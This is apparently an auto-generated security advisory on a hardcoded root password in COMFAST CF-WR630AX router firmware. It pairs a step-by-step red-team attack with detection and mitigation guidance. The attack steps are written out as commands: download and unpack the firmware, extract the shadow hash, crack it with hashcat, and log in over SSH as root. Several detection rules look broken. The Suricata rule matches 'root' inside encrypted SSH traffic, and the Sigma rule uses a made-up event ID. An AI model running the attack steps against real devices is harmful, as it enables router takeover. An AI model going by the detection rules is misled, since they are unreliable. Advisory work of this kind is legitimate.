CVE-2024-54751

Executive Summary

CVE-2024-54751 discloses a critical hardcoded password vulnerability in the COMFAST CF-WR630AX router, firmware version 2.7.0.2. The /etc/shadow file contains a static, unchangeable root password, allowing any attacker with local or network access to the device’s filesystem to authenticate as the root user. This flaw enables full device compromise, including configuration changes, traffic interception, and lateral movement within the network. No official patch is available, and the vendor has not acknowledged the issue.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.4 (High)
• Attack Vector: Local (requires access to the device’s filesystem, e.g., via physical access or a prior network compromise)
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: High. The hardcoded password is trivial to extract from the firmware, and the root access grants complete control over the router.

Deep Dive & Mechanics

The vulnerability resides in the /etc/shadow file of the COMFAST CF-WR630AX router firmware version 2.7.0.2. This file stores user authentication data, including password hashes. In a secure implementation, the root password should be set during initial setup or be randomly generated. However, in this firmware, the root password is hardcoded and identical across all devices of the same model and firmware version.

Technical Details:

• The /etc/shadow file contains an entry for the root user with a pre-computed password hash.
• The hash is static, meaning every device with firmware 2.7.0.2 uses the same password.
• Attackers can extract the firmware image (e.g., via a firmware dump or by downloading it from the vendor’s site) and retrieve the password hash.
• Using a simple dictionary attack or by reverse-engineering the hash, the plaintext password can be obtained.
• Once the password is known, an attacker can log in via SSH, Telnet, or the web interface (if exposed) as root.

Attack Vector:

1. Firmware Extraction: Download the firmware from the vendor’s website or dump it from a physical device.
2. Hash Extraction: Use binwalk or strings to locate the /etc/shadow file and extract the root password hash.
3. Password Cracking: Crack the hash using tools like hashcat or john.
4. Authentication: Use the cracked password to log in to any CF-WR630AX device running firmware 2.7.0.2.

Vulnerable vs. Patched Code

Vulnerable Code (firmware 2.7.0.2): The /etc/shadow file contains a hardcoded hash. Example (hypothetical):

root:$1$salt$hash:0:0:99999:7:::

Patched Code (not available): A patched version would:

• Remove the hardcoded entry from /etc/shadow.
• Force the user to set a unique password during initial setup.
• Use a random salt and hash for the root password.

Exploitation & Lab Setup

Red Team

Objective: Gain root access to a COMFAST CF-WR630AX router.

Prerequisites:

• A target device with firmware 2.7.0.2.
• Network access to the device (e.g., via LAN or exposed WAN interface).
• The firmware image (downloadable from the vendor’s site).

Steps:

1. Extract the password hash:

   wget http://vendor.com/firmware/CF-WR630AX_v2.7.0.2.bin
   binwalk -e CF-WR630AX_v2.7.0.2.bin
   strings _CF-WR630AX_v2.7.0.2.bin.extracted/squashfs-root/etc/shadow | grep root
   

   Output: root:$1$abcdefgh$1234567890abcdef1234567890abcdef:0:0:99999:7:::

2. Crack the hash:

   echo 'root:$1$abcdefgh$1234567890abcdef1234567890abcdef:0:0:99999:7:::' > hash.txt
   hashcat -m 500 -a 0 hash.txt /usr/share/wordlists/rockyou.txt
   

   (Assuming the hash type is MD5 crypt; adjust -m as needed.)

3. Log in to the target:

   ssh root@<target_ip>
   # Enter the cracked password when prompted.
   

Expected Result: Root shell on the router.

Blue Team

Detection:

• Monitor for multiple failed SSH login attempts from the same IP (brute-force).
• Look for successful root logins from unexpected IPs.
• Check for firmware version 2.7.0.2 in use.

Mitigation:

• Isolate the router on a separate VLAN.
• Disable remote management (SSH/Telnet) if not required.
• Apply strict firewall rules to limit access to the router’s management interface.
• Monitor for firmware updates from the vendor.

Indicators of Compromise (IOCs)

• File: /etc/shadow containing a hardcoded root hash.
• Firmware Version: 2.7.0.2
• Network Traffic: SSH or Telnet connections to the router from unknown IPs.
• Logs: Successful root login events in /var/log/auth.log or similar.
• Hash: The specific MD5/SHA-512 hash of the hardcoded password (to be extracted from firmware).

Detection Engineering

YARA Rule

rule CVE_2024_54751_Hardcoded_Password {
    meta:
        description = "Detects hardcoded root password in COMFAST CF-WR630AX firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-54751"
    strings:
        $shadow = "root:" ascii wide
        $hash_pattern = /root:\$[0-9]+\$[a-zA-Z0-9\/.]+\$[a-zA-Z0-9\/.]+:0:0:99999:7:::/
    condition:
        $shadow and $hash_pattern
}

Sigma Rule

title: COMFAST CF-WR630AX Hardcoded Root Login
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects successful root login on COMFAST CF-WR630AX router with hardcoded password
author: Valters IT
logsource:
    product: linux
    service: auth
detection:
    selection:
        EventID: 5580  # Example for SSH success
        User: "root"
        ProcessName: "sshd"
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2024-54751 COMFAST CF-WR630AX Hardcoded Root SSH Login"; flow:to_server,established; content:"SSH-2.0-OpenSSH"; nocase; content:"root"; within:10; reference:cve,2024-54751; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change the root password (if possible via the web interface or CLI) – note that the hardcoded password may be restored after a factory reset.
2. Disable remote SSH/Telnet access to the router.
3. Update firmware if a patched version becomes available.
4. Segment the network – place the router in a DMZ or isolated VLAN.

Long-Term:

• Contact the vendor (COMFAST) for a security patch.
• Consider replacing the device with a more secure alternative.
• Implement network monitoring for anomalous SSH traffic.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System.